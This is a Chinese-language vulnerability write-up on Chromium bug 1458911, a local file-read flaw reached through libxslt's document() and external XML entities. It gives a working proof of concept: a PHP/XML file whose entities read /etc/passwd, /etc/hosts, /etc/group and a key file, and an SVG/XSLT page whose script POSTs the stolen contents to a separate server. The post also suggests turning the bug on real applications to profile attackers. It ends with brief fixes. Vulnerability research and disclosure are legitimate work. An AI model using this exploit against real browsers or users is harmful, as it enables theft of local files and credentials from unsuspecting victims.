Chromium 内核 1458911 Bug 文件读取研究利用
介绍
2023年6月29日 星期四 12:00 c0r…@gmail.com 开发者向 Chromium 官方提交了该漏洞。
该漏洞影响使用 Chromium 内核的浏览器,包括 Chrome 版本小于 116。通过访问特定 URL,攻击者可以利用 Libxslt 库中的 document() 函数读取本地任意文件。漏洞存在于 WebKit 浏览器中,默认情况下,Libxslt 允许 XSL document() 方法加载的文档中包含外部实体。攻击者可以绕过安全限制,通过从 http(s):// 网址访问 file:// 网址来获取文件访问权限。
POC 复现
该XML代码包含实体引用,引用了本地系统文件(如/etc/passwd、/etc/hosts等),PHP代码设置了CORS策略,允许任何来源访问服务器资源。
xsl2.php
<!DOCTYPE p [
<!ENTITY passwd SYSTEM "file:///etc/passwd">
<!ENTITY hosts SYSTEM "file:///etc/hosts">
<!ENTITY group SYSTEM "file://localhost/etc/group">
<!ENTITY test123 SYSTEM "file:///Users/xxxx/Downloads/keypem">
]>
<p>
<p style="border-style: dotted;">/etc/passwd:
&passwd;
</p>
<p style="border-style: dotted;">/etc/hosts:
&hosts;
</p>
<p style="border-style: dotted;">/etc/group:
&group;
</p>
<p style="border-style: dotted;">/Users/xxxx/Downloads/keypem:
&test123;
</p>
</p>
<?php header("Access-Control-Allow-Origin: *");?>
这段XML和XSLT代码使用了外部实体引用和XSLT转换,将远程资源(通过document(‘http://10.211.55.10:8000/xsl2.php’))嵌入SVG图像。然后,通过JavaScript发起了一个POST请求,将读取到的文件内容外带到指定的服务器地址。
test.svg
<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="?#"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<svg width="1000%" height="1000%" version="1.1" xmlns="http://www.w3.org/2000/svg">
<foreignObject class="node" font-size="18" width="100%" height="100%">
<body xmlns="http://www.w3.org/1999/xhtml">
<xmp><xsl:copy-of select="document('http://10.211.55.10:8000/xsl2.php')"/></xmp>
</body>
</foreignObject>
<script>
var olis = document.getElementsByTagName('p');
var data = olis[1].textContent;
var xmlHttp2 = new XMLHttpRequest();
xmlHttp2.open('POST', 'http://192.168.8.140:800/');
xmlHttp2.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
var postData = 'r=' + encodeURIComponent(data);
xmlHttp2.send(postData);
</script>
</svg>
</xsl:template>
</xsl:stylesheet>
将文件放置 WEB 根路径,测试发现大部分应用产品都受该漏洞影响,并发布之前均未进行修复,后续蓝军可利用该漏洞进行溯源攻击者画像。
微信 Version. 3.8.4 (27738) For Macbook Pro M1
Safari 版本16.3 (18614.4.6.1.6) For Macbook Pro M1
BurpSuite 2021.2.1
修复
-
改进沙箱,拒绝对指定文件的读取访问。 -
禁止使用来自外部实体的 file://path
和\path URL
。
Links
https://bugs.chromium.org/p/chromium/issues/detail?id=1458911
原文始发于微信公众号(Evilc0de 安全团队):Chromium 内核 1458911 Bug 文件读取研究利用